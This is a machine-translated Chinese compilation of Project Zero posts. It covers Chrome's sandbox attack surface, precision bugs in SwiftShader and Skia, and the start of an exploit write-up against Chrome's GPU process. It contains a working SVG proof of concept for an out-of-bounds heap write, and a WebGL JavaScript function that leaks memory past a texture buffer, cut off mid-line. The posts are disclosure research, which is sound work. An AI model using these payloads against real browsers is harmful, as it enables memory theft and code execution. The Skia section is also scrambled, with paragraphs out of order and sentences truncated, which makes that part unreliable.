浏览器进程 - 在浏览会话期间存在单个特权浏览器进程。浏览器进程负责根据需要生成其他进程,为其配置任务,以及代表没有所需系统访问权限的进程执行特权操作以自行执行操作。
渲染器进程 - 每次打开新选项卡或窗口时都会生成渲染器进程,并负责执行正在查看的网页的解析和呈现。这包括HTML解析,JavaScript功能和图像处理。
插件流程 - 插件托管在自己的私有进程中,并与渲染器和浏览器进程通信。每个不同的插件都有一个进程,无论该插件有多少个不同的嵌入式对象实例。默认情况下,插件进程实际上以完全权限运行(就像浏览器进程一样),但是当某些兼容性问题得到解决时,这最终会发生变化。
GPU流程 - 可选择存在单个GPU流程,以代表渲染器流程执行GPU相关任务。(**注:曾经**)GPU进程不受限于沙盒。
IPC通道 - IPC通道构成了Chrome的消息传递框架,为各种Chrome流程提供了通过本地操作系统特定的传输机制相互交互的工具。
攻击Chrome
从上面的描述中可以明显看出,由于与执行操作的进程相关的特权,某些浏览器组件中的缺陷与其他组件相比具有更严重的安全相关后果。下表提供了暴露于攻击的浏览器的一些主要组件的基本细分以及进行处理的位置。
部分 处理者
网络协议解析 浏览器
创建/管理选项卡/ Windows 浏览器
输入文本的缓存 浏览器
拼写检查/正常化 浏览器
剪贴板管理 浏览器
HTML解析/渲染 渲染
JavaScript解析 渲染
图像处理 渲染
插件 插入
GPU处理 GPU
IPC消息 [所有]
在列出的所有进程中,只有渲染器是沙箱。因此,定位由呈现器以外的任何其他内容执行的公开功能(例如网络协议解析)可能会产生导致远程访问目标系统的错误,而不会产生沙箱通常会施加的任何其他限制。话虽如此,渲染器执行的功能包含了Web浏览器常用攻击面的很大一部分,因此未来Chrome中发现的大部分漏洞可能会继续与这些组件相关。由于Chrome沙箱的限制性,攻击者必须在损害渲染器以获得进一步访问系统后使用第二个漏洞升级其权限。因此,Chrome中的权限提升向量也是任何安全审核的关键焦点。特权升级有几个主要攻击面,如下所示:
IPC消息传递 - 在用于进程间通信的消息传递框架中解析缺陷将提供获得其中一个非沙盒进程的特权的理想方法。这个区域将在下一篇博客文章中进行深入研究。
公开服务 - 参与Chrome浏览会话的每个流程都通过上述IPC渠道向其他流程公开服务。重要的是要评估可以从渲染器调用的所有公开函数,以便编程缺陷或导致沙箱旁路的无意间产生的安全漏洞。此攻击面也将在下一篇博文中广泛介绍。
沙箱弱点 -在攻击任何沙箱时,必须熟悉沙箱防范的内容,以及它在执行单独处理的各种限制时的有效性。本系列的第三篇博文将讨论沙箱本身及其在Linux和Windows上的实现方式。我还将举例说明我在两个沙箱实现中发现的漏洞
共享资源 - 应该注意的是,攻击更多特权进程有几种间接形式。具体而言,一些音频,视频和图形数据由渲染器进程提供给更具特权的进程(例如GPU进程),方法是将该数据放在共享内存缓冲区中,然后通知更具特权的进程。由于这些数据的某些解析发生在更多特权进程中,因此它可能是一种可能有用的途径,可用于定位解析漏洞以获得对系统的进一步访问。这条途径虽然很有趣,但没有进一步讨论,而是留给读者练习。
操作系统/外部软件 - 当然,攻击者可以针对操作系统内核或外部软件组件(如本地服务)中的缺陷进行攻击。这些载体超出了本讨论范围,不再进一步考虑。
结论
正如您所看到的,需要覆盖大量材料。收听我接下来的两篇文章,我会更深入地了解沙箱的细节,并提出我在整个审核过程中发现的一些缺陷!
Drawing Outside the Box: Precision Issues in Graphic Libraries
马克·布兰德和伊万·弗雷特合著,Project Zero。 https://googleprojectzero.blogspot.com/2018/07/drawing-outside-box-precision-issues-in.html
在这篇博文中,我们将讨论一种罕见的漏洞类,它通常会影响图形库(尽管它也可能出现在其他类型的软件中)。这些问题的根本原因是在精度错误会使应用程序所做的安全假设失效的情况下使用有限的精度算法。
虽然我们也可以调用其他类的Bug精度问题,即整数溢出,但主要区别在于:对于整数溢出,我们处理的是算术运算,其结果的大小太大,不能在给定的精度下精确表示。有了这篇博文中描述的问题,我们处理的是算术运算,这些运算的结果或部分结果的大小太小,无法用给定的精度精确表示。
在对安全性敏感的操作中使用浮点运算时,可能会出现这些问题,但正如我们稍后将演示的那样,在某些情况下整数运算也会出现这些问题。
让我们来看一个简单的例子:
float a = 100000000; float b = 1; float c = a + b;
如果我们以任意精度进行计算,结果将是100000001。
但是,由于浮点通常只允许24位精度,因此结果实际上是100000000。
如果应用程序通常合理地假设a>0和b>0意味着a+b>a,则这可能导致问题。
在上面的例子中,a和b之间的差异如此之大,以至于b在计算结果中完全消失,但如果差异较小,例如,精度误差也会发生。
float a = 1000;
float b = 1.1111111;
float c = a + b;
上述计算的结果将是1001.111084,而不是1001.1111111,这将是准确的结果。
在这里,只丢失了b的一部分,但即使是这样的结果有时也会产生有趣的后果。
虽然我们在上面的示例中使用了float类型,在这些特定的示例中使用double将导致更精确的计算,但同样的精度错误也可能发生在double中。
在这篇博文的其余部分,我们将展示几个具有安全影响的精确问题的示例。
Project Zero的两名成员对这些问题进行了独立的探讨:马克·布兰德(Mark Brand)研究了Chrome中使用的一种OpenGL实现软件SwiftShader,以及伊万·弗雷特(Ivan Fratric)研究了Chrome和Firefox中使用的Skia图形库。
SwiftShader
SwiftShader是“基于CPU的OpenGL ES和Direct3D 9图形API的高性能实现”。
它在所有平台的Chrome中作为后备渲染选项使用,以绕过图形硬件或驱动程序的限制,允许在更广泛的设备上普遍使用WebGL和其他高级javascript渲染API。
SwiftShader中的代码需要模拟通常由GPU执行的各种操作。
我们通常认为GPU上的一个操作本质上是“0成本”的,那就是提升比例,或从小的源纹理绘制到更大的区域,例如在屏幕上。
这需要使用非整数值计算内存索引,而非整数值正是该漏洞发生的地方。
正如在最初的bug报告中所指出的,我们将在这里查看的代码并不完全是实际运行的代码——SwftShader使用基于LLVM的JIT引擎在运行时优化性能关键型代码,但该代码比它们的回退实现更难理解,并且两者包含相同的缺陷,因此我们将讨论回退代码。
以下代码是在渲染过程中用于将像素从一个曲面复制到另一个曲面的复制循环:
source->lockInternal((int)sRect.x0, (int)sRect.y0, sRect.slice, sw::LOCK_READONLY, sw::PUBLIC); dest->lockInternal(dRect.x0, dRect.y0, dRect.slice, sw::LOCK_WRITEONLY, sw::PUBLIC); float w = sRect.width() / dRect.width(); float h = sRect.height() / dRect.height(); const float xStart = sRect.x0 + 0.5f * w; float y = sRect.y0 + 0.5f * h; float x = xStart; for(int j = dRect.y0; j < dRect.y1; j++) { x = xStart; for(int i = dRect.x0; i < dRect.x1; i++) { // FIXME: Support RGBA mask dest->copyInternal(source, i, j, x, y, options.filter); x += w; } y += h; } source->unlockInternal(); dest->unlockInternal(); }
那么-这段代码的问题是什么呢?
在进入这个函数之前,我们知道所有的边界检查都已经执行了,并且对 copyInternal (i, j)和sRect的(x,y) 的任何调用都是安全的。
以上介绍中的示例显示了由此产生的精度错误意味着发生四舍五入的情况-在这种情况下,这不足以产生一个有趣的安全错误。
我们是否可以导致浮点不精确导致大于正确的值,从而导致(x,y)值大于预期?
如果我们查看代码,开发人员的意图是计算以下内容:
for(int j = dRect.y0; j < dRect.y1; j++) { for(int i = dRect.x0; i < dRect.x1; i++) { x = xStart + (i * w); Y = yStart + (j * h); dest->copyInternal(source, i, j, x, y, options.filter); } }
如果使用这种方法,我们仍然会有精度误差-但是如果没有迭代计算,就不会有误差的传播,我们可以期望精度误差的最终大小是稳定的,并且与操作数的大小成正比。
随着迭代计算在代码中的执行,误差开始传播,滚雪球一样产生越来越大的误差。
有一些方法可以估计浮点计算中的最大错误;如果您真的需要避免额外的边界检查,那么使用这种方法并确保围绕这些最大错误有保守的安全裕度可能是解决这个问题的一种复杂且容易出错的方法。
这不是一个很好的来确定问题价值的方法,我们在这里想要证明一个漏洞;因此,我们将采取一种暴力的方法。
基本上,我们相当肯定在计算机算法中:乘法实现将大致正确,而迭代相加的实现将不那么正确。
考虑到可能输入的空间很小(Chrome不允许宽度或高度大于8192的纹理),我们可以对源宽度与目标宽度的所有比率运行蛮力,比较这两种算法,并查看结果最不同的地方。(请注意,快速着色器也将我们限制为偶数)。
这导致我们得到5828,8132的值;如果我们比较这种情况下的计算(左侧是迭代加法,右侧是乘法):
0:1.075012 1.075012。
1:1.791687 1.791687。
……
到这里为止(以所示的精度计算),这些值仍然是相同的
1001:718.466553 718.466553。
……
2046:1467.391724 1467.391724 此时,第一个重大错误开始出现,但请注意“不正确”的结果比更精确的结果要小。
2047:1468.108398 1468.108521
……
2856:2047.898315 2047.898438
2857:2048.614990 2048.614990 在这里,我们的两个计算结果再次吻合,简单地说,从这里开始,精度误差始终比更精确的计算更倾向于得到更大的结果。
2858:2049.331787 2049.331787
2859:2050.048584 2050.048340
……
8129:5827.567871 5826.924805
8130:5828.284668 5827.641602
8131:5829.001465 5828.358398 最后一个索引现在有很大的不同,INT转换会产生一个OOB index。
(还请注意,在“安全”计算中也会有错误;只是缺少错误传播意味着错误将与输入错误的大小成正比,我们预计输入错误的大小是“小”的。)。
我们确实可以看到,乘法算法将保持在边界内;但是迭代算法可以返回超出输入纹理边界的索引!
结果,我们读取了纹理分配结束后的整行像素——这很容易使用WebGL泄漏回javascript。
请继续关注即将发布的一篇博客文章,在这篇文章中,我们将使用这个漏洞以及另一个不相关的问题来控制来自javascript的GPU进程。
Skia
SKIA是在Chrome、Firefox和Android中使用的图形库。在Web浏览器中,例如在使用CanvasRenderingContext2D绘制到画布HTML元素或绘制SVG图像时使用它。
在绘制其他各种HTML元素时也使用SKIA,但从安全角度看,Canvas元素和SVG图像更有趣,因为它们可以对图形库绘制的对象进行更直接的控制。
Skia可以绘制的最复杂的对象类型(因此,从安全角度看也是最有趣的)是路径。路径是由元素(例如直线)和更复杂的曲线(尤其是二次或三次样条曲线)组成的对象。由于软件绘图算法在SKIA中的工作方式,精度问题非常可能发生,并且当它们发生时非常有影响,通常会导致越界写入。
为了理解为什么会发生这些问题,让我们假设内存中有一个图像(表示为一个缓冲区,大小=宽度x高度x颜色大小)。通常,在绘制具有坐标(x,y)和颜色c的像素时,您需要确保该像素实际位于图像的空间内,特别是0<=x
在计算机图形学中,确保只绘制图像区域中的对象称为剪裁。那么,问题出在哪里?就CPU周期而言,对每个像素进行剪辑检查是非常昂贵的,而Skia则以速度为傲。
因此,Skia所做的不是对每个像素进行剪辑检查,而是首先对整个对象(例如,直线、路径或正在绘制的任何其他类型的对象)进行剪辑检查。
根据剪辑检查,有三种可能的结果:
【1】对象完全位于绘图区域之外:绘图函数不绘制任何内容并立即返回。
【2】对象部分位于绘图区域内:绘图功能在启用每像素剪辑的情况下继续进行(通常依赖于 SkRectClipBlitter)。
【3】整个对象都在绘图区域中:绘图函数直接绘制到缓冲区中,而不执行每像素剪辑检查。
有问题的场景是【3】仅对每个对象执行剪辑检查,并且禁用更精确的每像素检查。这意味着,如果在每个对象剪辑检查和绘制像素之间的某个位置存在精度问题,并且精度问题导致像素坐标超出绘图区域,则可能会导致安全漏洞。
我们可以看到每个对象剪辑检查导致在多个位置丢弃每像素检查,例如:
在 hair_path(用于绘制不填充路径的函数)中,clip 最初设置为 null(这将禁用片段检查)。仅当路径边界(根据绘图选项向上舍入并按1或2扩展,https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=511)不适合绘图区域时,才会设置剪辑。将路径边界扩展1似乎是一个相当大的安全裕度,但实际上它是最不可能的安全值,因为启用抗锯齿的绘制对象有时会导致绘制到附近的像素。
在SkScan::FillPath(用于在禁用抗锯齿的情况下填充路径的函数)中,路径的边界首先由 kConservativeRoundBias扩展,然后舍入以获得“保守”路径边界。然后为当前路径创建一个SkScanClipper对象。正如我们在SkScanClipper的定义中所看到的,只有当路径边界的x坐标在绘图区域之外,或者如果irPreClipped 为true(只有当路径坐标非常大时才会发生这种情况),它才会使用SkRectClipBlitter。
在其他绘图功能中也可以看到类似的图案。
在我们更深入地了解这些问题之前,快速浏览一下Skia使用的各种数字格式是非常有用的:
【1】SkScalar是一个32位浮点数字。
【2】SkFDot6被定义为一个整数,但它实际上是一个固定的数字,其中26位在小数点的左边,6位在小数点的右边。 例如,SkFDot6值0×00000001表示数字1/64。
【3】SkFixed也是一个定点数字,这一次小数点的左侧为16位,右侧为16位。例如,SkFix值0×00000001表示1/(2**16)
整数到浮点数转换的精度误差。
去年,我们在对Firefox进行DOM模糊化时发现了最初的问题。这个问题引起了我们的注意,因为Skia写出了越界,所以我们做了进一步的调查。事实证明,根本原因是Skia在几个地方将浮点转换为int的方式存在差异。
在进行每路径片段检查时,使用以下函数舍入较低的坐标(边界框的左侧和顶部):
static inline int round_down_to_int(SkScalar x) { double xx = x; xx -= 0.5; return (int)ceil(xx); }
查看代码,您会发现对于严格大于-0.5的数字,它将返回一个大于或等于零的数字(这是通过路径级别剪辑检查所必需的)。
但是,在代码的另一部分(特别是 SkEdge::setLine )中,如果定义了SK_RASTERIZE_EVEN_ROUNDING (在Firefox中就是这种情况),则使用以下函数将浮点数舍入为整数:
inline SkFDot6 SkScalarRoundToFDot6(SkScalar x, int shift = 0) { union { double fDouble; int32_t fBits[2]; } tmp; int fractionalBits = 6 + shift; double magic = (1LL << (52 - (fractionalBits))) * 1.5; tmp.fDouble = SkScalarToDouble(x) + magic; #ifdef SK_CPU_BENDIAN return tmp.fBits[1]; #else return tmp.fBits[0]; #endif }
现在让我们看一看这两个函数返回的数字-0.499。对于这个数字,舍入_DOWN_TO_INT返回0(始终通过剪裁检查),而SkScalarRoundToFDot6返回-32(对应于-0.5),因此最终得到的数字实际上比开始时的小。
但是,这并不是唯一的问题,因为在SkEdge::setLine中还有另一个发生精度错误的地方:小数相乘时的精度错误。
SkEdge::setLine调用SkFixedMul,定义为:
static inline SkFixed(SkFixed a, SkFixed b) { return (SkFixed)((int64_t)a * b >> 16); }
此函数用于将两个SkFixed数相乘。使用此函数乘以负数时会出现问题。 让我们来看一个小例子。 假设a=-1/(2**16),b=1/(2**16)。如果我们在纸上把这两个数字相乘,结果是-1/(2**32)。
然而,由于SkFixedMul的工作方式,特别是因为右移位被用来将结果转换回SkFixed格式,我们最终得到的结果是0xFFFFFFFF,即SkFixed为-1/(2**16)。
因此,我们最终得到的结果比预期的要大得多。由于SkEdge::setLine使用此乘法的结果在此处调整初始线点的x坐标,因此我们可以使用SkFixedMul中的问题导致一个像素的1/64的误差并超出绘图区域边界。
通过将前两个问题结合起来,可以得到一条足够小(小于-0.5)的直线的x坐标,因此,当这里的分数表示被舍入为整数时,Skia试图在x=-1的坐标上绘制,这显然超出了图像的边界。
这就导致了越界写入,这可以在原始的bug报告中看到。
如上一节所述,通过绘制具有坐标的SVG图像,可以在Firefox中利用此漏洞进行攻击。
将样条曲线转换为直线段时的浮点精度错误
绘制路径时,SKIA会将所有非线性曲线(圆锥形状、二次样条曲线和三次样条曲线)转换为直线段。也许不出所料,这些转换会受到精度错误的影响。
样条曲线到直线段的转换发生在多个位置,但最易受浮点精度错误影响的是 hair_quad (用于绘制二次曲线)和 hair_cubic(用于绘制三次曲线)。这两个函数都是从 hair_path调用的,我们前面已经提到过。
因为(不出所料),在处理三次样条时会出现较大的精度误差,因此这里只考虑三次情况。在逼近样条曲线时,首先在SkCubicCoeff中计算三次系数。
最有趣的部分是:
fA = P3 + three * (P1 - P2) - P0; fB = three * (P2 - times_2(P1) + P0); fC = three * (P1 - P0); fD = P0;
其中P1、P2和P3为输入点,fA、fB、fC和fD为输出系数。然后使用以下代码在hair_cubic中计算直线段点
const Sk2s dt(SK_Scalar1 / lines); Sk2s t(0); ... Sk2s A = coeff.fA; Sk2s B = coeff.fB; Sk2s C = coeff.fC; Sk2s D = coeff.fD; for (int i = 1; i < lines; ++i) { t = t + dt; Sk2s p = ((A * t + B) * t + C) * t + D; p.store(&tmp[i]); }
其中p是输出点,线是我们用来近似曲线的线段数。根据样条曲线的长度,三次样条曲线最多可以近似为512条直线。
很明显,这里的算术不会很精确。由于对x和y坐标进行了相同的计算,让我们只考虑POST其余部分中的x坐标。
假设绘图区域的宽度为1000像素。由于hair_path用于在启用抗锯齿的情况下绘制路径,因此需要确保路径的所有点在1到999之间,这是在初始路径级片段检查中完成的。
让我们考虑以下坐标,这些坐标都通过了此检查:
p0 = 1.501923
p1 = 998.468811
p2 = 998.998779
p3 = 999.000000
对于这些点,系数如下
a = 995.908203
b = -2989.310547
c = 2990.900879
d = 1.501923
如果你在更大的精度上做同样的计算,你会注意到这里的数字不太正确。现在,让我们看看如果我们用512条线段近似样条线会发生什么。这将产生513个x坐标:
0: 1.501923 1: 7.332130 2: 13.139574 3: 18.924301 4: 24.686356 5: 30.425781 ... 500: 998.986389 501: 998.989563 502: 998.992126 503: 998.994141 504: 998.995972 505: 998.997314 506: 998.998291 507: 998.999084 508: 998.999695 509: 998.999878 510: 999.000000 511: 999.000244 512: 999.000000
我们可以看到,x坐标不断增长,在点511明显超出了“安全”区域,并增长大于999。
碰巧,这不足以触发越界写入,因为由于绘制抗锯齿线在Skia中的工作方式,我们需要至少将像素移到剪辑区域之外的1/64,这样才会成为一个安全问题。
但是,在这种情况下,有关精度错误的一个有趣的事情是,绘图区域越大,可能发生的错误就越大。
因此,让我们考虑一个32767像素的绘图区域(Chrome中的最大画布大小)。
初始剪裁检查然后检查所有路径点是否在[1,32766]间隔内。
现在让我们考虑以下几点:
p0 = 1.7490234375
p1 = 32765.9902343750
p2 = 32766.000000
p3 = 32766.000000
对应系数
a = 32764.222656
b = -98292.687500
c = 98292.726562
d = 1.749023
和相应的直线近似
0: 1.74902343 1: 193.352295 2: 384.207123 3: 574.314941 4: 763.677246 5: 952.295532 … 505: 32765.925781 506: 32765.957031 507: 32765.976562 508: 32765.992188 509: 32766.003906 510: 32766.003906 511: 32766.015625 512: 32766.000000
你可以看到,我们在指数511上越界的次数要多得多。
对Skia来说幸运的是,对于有抱负的攻击者来说不幸的是,这个错误不能用来触发内存损坏,至少在最新版本的SKIA中不能。
原因是SkDrawTiler。
每当Skia使用SkBitmapDevice绘制(而不是使用GPU设备)且绘图区域在任何维度上大于8191像素时,Skia都会将其拆分为(最多)8191×8191像素的平铺,而不是一次绘制整个图像。
这一更改是在3月份进行的,不是出于安全原因,而是为了能够支持更大的绘制表面。
然而,它仍然有效地阻止了我们利用这一问题,也将防止利用其他情况,即需要大于8191的曲面才能达到足够大的精度误差。
尽管如此,这个错误在三月之前是可以利用的,我们认为它很好地展示了精度错误的概念。
将样条曲线转换为直线段时的整数精度错误
在绘制(在本例中为填充)也受精度错误影响的路径时,还有另一个位置可以将样条曲线近似为线段,在本例中为可利用的路径。
有趣的是,这里的精度误差不是在浮点运算中,而是在定点运算中。
此错误发生在SkQuadraticEdge::setQuadraticWithoutUpdate和SkCubicEdge::setCubicWithoutUpdate中。
为了简单起见,我们将再次集中在三次样条曲线的版本上,并且,同样地,只关注x坐标。
在SkCubicEdge::setCubicWithoutUpdate中,曲线坐标首先转换为SkFDot6类型(分数使用6位的整数)。
在此之后,将计算与曲线在初始点处的一阶、二阶和三阶导数相对应的参数:
SkFixed B = SkFDot6UpShift(3 * (x1 - x0), upShift); SkFixed C = SkFDot6UpShift(3 * (x0 - x1 - x1 + x2), upShift); SkFixed D = SkFDot6UpShift(x3 + 3 * (x1 - x2) - x0, upShift); fCx = SkFDot6ToFixed(x0); fCDx = B + (C >> shift) + (D >> 2*shift); // biased by shift fCDDx = 2*C + (3*D >> (shift - 1)); // biased by 2*shift fCDDDx = 3*D >> (shift - 1); // biased by 2*shift
其中x0、x1、x2和x3是定义三次样条曲线的4个点的x坐标,并且移动和向上移动取决于曲线的长度(这对应于将在其中近似曲线的线性分段的数量)。
为简单起见,我们可以假设Shift=upShift=6(最大可能值)。
现在让我们看看一些非常简单的输入值会发生什么情况:
x0 = -30
x1 = -31
x2 = -31
x3 = -31
请注意,x0、x1、x2和x3的类型为skFDot6,因此值-30对应于-0.46875,-31对应于-0.484375。这接近-0.5,但四舍五入的时候很安全。
现在,让我们检查计算参数的值:
B = -192
C = 192
D = -64
fCx = -30720
fCDx = -190
fCDDx = 378
fCDDDx = -6
你知道问题出在哪里了吗?提示:它在fCDx中。在计算fCDx(曲线的第一次求导)时,D需要的值右移12。然而,D太小,不能精确地做到这一点,因为D是负的,所以右移 D >> 2*shift 将会得到-1,它的大小比预期的结果要大。
(由于D的类型为SkFixed,其实际值为-0.0009765625,如果将其解释为除以4096时,将得到-2.384185e-07)。正因为如此,整个fCDx的负值最终会大于应有的负值(-190 vs. -189.015)。
然后,在计算直线段的x值时使用fCDx的值。
这发生在以下行的SkCubicEdge::updateCubic中:
newx = oldx + (fCDx >> dshift);
当用64条直线段近似样条曲线时(此算法的最大值),x值将为(表示为索引、整数SkFix值和相应的浮点值):
index raw interpretation 0: -30720 -0.46875 1: -30768 -0.469482 2: -30815 -0.470200 3: -30860 -0.470886 4: -30904 -0.471558 5: -30947 -0.472214 ... 31: -31683 -0.483444 32: -31700 -0.483704 33: -31716 -0.483948 34: -31732 -0.484192 35: -31747 -0.484421 36: -31762 -0.484650 37: -31776 -0.484863 38: -31790 -0.485077 ... 60: -32005 -0.488358 61: -32013 -0.488480 62: -32021 -0.488602 63: -32029 -0.488724 64: -32037 -0.488846
您可以看到,对于第35个点,x值(-0.484421)最终小于最小的输入点(-0.484375),而对于后面的点,趋势仍在继续。
不过,此值仍将舍入为0,但还有另一个问题。
在SkCubicEdge::updateCubic中计算的x值将传递给SkEdge::updateLine,然后在以下行将它们从SkFixed类型转换为SkFDot6:
x0 >>= 10;
x1 >>= 10;
又一次右转!例如,当SkFixed值-31747被移动时,我们得到的skFDot6值为-32,表示-0.5。 在这一点上,我们可以使用上面“小数相乘时的精度错误”部分中描述的相同技巧,使其小于-0.5并超出图像边界。 这里我们得到的是场景【4】不幸的是,当y=0时,我们不能画到x=1,因为精度误差需要在y的增长值上累积。 如果我们在Firefox的一个未打补丁的版本中呈现这一点,我们所看到的将如下图所示。 https://lh4.googleusercontent.com/C2gzyHeEV-fHnuOjvyr9g3C-XPiL0xFApDL3vZx_hQDZ4hi_ppuYmRTN1myDJFRcCvsq86j–_-YGEjQUMw-X2OavBEM-2nWz5ay1cjAppcbrYkQhIXHcSWUiEMmeX34gYlBMJwQ 请注意,我们使用的是Mozilla Firefox,而不是Google Chrome,因为SVG绘制内部内容(具体地说:Skia似乎一次绘制整个图像,而Chrome使用其他平铺)更容易在Firefox中演示此问题。 但是,除了画一个有趣的图片,这个问题是否有真正的安全影响? 当使用 SkARGB32_Shader_Blitter::blitH 绘制整个图像行时,如果可以使其从x=-1到x=Width-1(从x=0到x=宽度交替绘制),则需要将Width+1像素写入只能容纳宽度像素的缓冲区,导致缓冲区溢出,如错误报告中的ASAN日志所示。 此问题的另一个具体问题是,只有在关闭了抗锯齿功能的情况下绘制(更具体地说:填充)路径时,才能达到此目的。 我们在Skia中报告的所有精度问题都通过增加 kConservativeRoundBias 得到了修复。 结语 虽然在这篇博客文章中描述的精度问题不会出现在大多数软件产品中,但在它们存在的地方,它们可能会产生相当严重的后果。 为防止其发生,请执行以下操作: 不幸的是,当涉及到发现这些问题时,似乎没有一种很好的方法可以做到这一点。
换句话说,在绘制路径时,我们可以使Skia绘制到x=-1。
但是,我们能用它做什么呢? 通常,考虑到Skia将图像像素分配为逐行组织的单个分配(就像大多数其他软件会分配位图一样),在精度问题上可能会发生几种情况。
如果我们假设宽度x高度图像,并且只能超出边界一个像素:
【1】绘制到y=-1或y=高度会立即导致堆越界写入。
【2】绘制到x=-1且y=0的图形会立即导致1个像素的堆下溢。
【3】绘制到x=宽度且y=高度-1的图形会立即导致1个像素的堆溢出。
【4】使用y>0绘制到x=-1会导致像素“溢出”到上一个图像行。
【5】使用y
让我们来看一下下面的SVG图像示例:<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<style>
body {
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
margin-left: 0px
}
</style>
<path d="M -0.46875 -0.484375 C -0.484375 -0.484375, -0.484375 -0.484375, -0.484375 100 L 1 100 L 1 -0.484375" fill="red" shape-rendering="crispEdges" />
</svg>
请注意SVG只包含屏幕左侧的坐标,而一些红色像素绘制在右侧。
这是因为,由于图像的分配方式,绘制到x=-1和y=row等于绘制到x=Width-1和y=row-1。
然而,Chrome和Firefox都同样受到了这个问题的影响。
在这里,SkARGB32_Shader_Blitter 得到了补救(只要将着色器效果应用到Skia中的颜色,就会使用SkARGB32_Shader_Blitter )。
SkARGB32_Shader_Blitter 的特殊之处在于,它分配的临时缓冲区的大小与单个图像行的大小相同。
请注意Chrome和Firefox的POC如何包含具有线性Gradient元素的SVG图像——线性渐变专门用于选择SkARGB32_Shader_Blitter,而不是直接将像素绘制到图像中,这只会导致像素溢出到上一行。
由于目前不可能在禁用抗锯齿的情况下绘制指向HTML画布元素的路径(存在ImageSmoothingEnabled属性,但它仅适用于绘制图像,而不适用于路径),因此必须使用具有shape-rendering=”crispEdges”的SVG图像来触发问题。
虽然当前的偏差值足够大,足以涵盖我们所知的最大精度误差,但我们不应排除在其他地方可能出现精度问题的可能性。
【1】在结果对安全性敏感的情况下,不要使用浮点算法。
【2】如果您必须这样做,那么您需要确保最大可能的精度误差不能大于某个安全裕度。
【3】在某些情况下,区间算法可以用来确定最大精度误差。
【4】或者,对结果执行安全检查,而不是输入。
【5】使用整数运算时,要警惕可能会降低结果精度的任何操作,例如除法和右移位。
当我们开始研究Skia时,最初我们想尝试在绘图算法上使用符号执行来查找会导致绘制越界的输入值,因为从表面上看,这似乎是一个非常适合符号执行的问题。
然而,在实践中,存在着太多的问题:大多数工具不支持浮点符号变量,而且,即使只针对最简单的线条绘制算法的整数部分运行,我们也未能在合理的时间内完成运行(我们使用的是带有STP和Z3后端的KLEE https://klee.github.io/)。
最后,我们所做的是一些比较老套的方法的组合:手动源代码检查、fuzzing(特别是在接近图像边界的值中),在某些情况下,当我们已经识别出可能存在问题的代码区域时,甚至可能需要强制执行所有可能的值的范围。
Heap Feng Shader: Exploiting SwiftShader in Chrome
机器翻译+简单人工润色于 https://googleprojectzero.blogspot.com/2018/10/heap-feng-shader-exploiting-swiftshader.html
Wednesday, October 24, 2018
马克·布兰德(Mark Brand)发布,Project Zero。
在大多数系统上,在正常情况下,Chrome永远不会使用SwiftShader-如果您有已知错误的“列入黑名单”的图形卡或驱动程序,它将用作后备。但是,Chrome还可以在运行时确定您的图形驱动程序存在问题,并切换到使用SWIFT Shader以提供更好的用户体验。
如果您对性能差异感兴趣,或者只是想玩一玩,您可以使用SwiftShader 启动Chrome,而不是使用-DISABLE-GPU命令行标志来启动GPU加速。
SwiftShader 是Chrome中一个相当有趣的攻击面,因为所有的渲染工作都是在一个单独的进程(GPU进程)中完成的。
由于此进程负责绘制到屏幕上,因此它需要比通常处理网页内容的高度沙箱化的渲染器进程具有更多的权限。
在典型的Linux桌面系统配置上,沙箱访问X11服务器方面的技术限制意味着这个沙箱非常薄弱;在Windows等其他平台上,GPU进程仍然可以访问更大的内核攻击面。
我们是否可以编写一个在GPU进程中获得代码执行而不首先损害渲染器的漏洞攻击?
我们将关注利用我们报告的两个问题,这两个问题最近由Chrome解决了。
事实证明,如果你有一个受支持的GPU,它仍然是一个相对简单的攻击:攻击者强制您的浏览器使用快速的图形着色器——如果GPU进程崩溃超过4次,Chrome将回落到这一软件渲染路径,而不是禁用加速。
在我的测试中,让GPU进程崩溃或遇到来自WebGL的内存不足问题非常简单——这是留给感兴趣的读者的练习。
对于这篇博文的其余部分,我们将假设GPU进程已经处于回退软件渲染模式。
先前的精度问题
我们之前讨论了由SwftShader代码中的一些精度问题导致的信息泄漏问题——因此,我们将从这里开始,从这个问题中找到一个有用的泄漏原语。
稍作调整后,我得到了下面的结果,该结果将在GPU进程中分配一个大小为0xb620000的纹理,当函数read()被调用时,它将直接在该缓冲区后面返回0×10000字节返回给javascript。
(分配将发生在标记的第一行,越界访问发生在第二行)。
function issue_1584(gl) { const src_width = 0x2000; const src_height = 0x16c4; // we use a texture for the source, since this will be allocated directly // when we call glTexImage2D. this.src_fb = gl.createFramebuffer(); gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb); let src_data = new Uint8Array(src_width * src_height * 4); for (var i = 0; i < src_data.length; ++i) { src_data[i] = 0x41; } let src_tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, src_tex); 【1】 gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_width, src_height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST); gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0); this.read = function() { gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb); const dst_width = 0x2000; const dst_height = 0x1fc4; dst_fb = gl.createFramebuffer(); gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb); let dst_rb = gl.createRenderbuffer(); gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb); gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_width, dst_height); gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb); gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb); // trigger 【2】 gl.blitFramebuffer(0, 0, src_width, src_height, 0, 0, dst_width, dst_height, gl.COLOR_BUFFER_BIT, gl.NEAREST); // copy the out of bounds data back to javascript var leak_data = new Uint8Array(dst_width * 8); gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb); gl.readPixels(0, dst_height - 1, dst_width, 1, gl.RGBA, gl.UNSIGNED_BYTE, leak_data); return 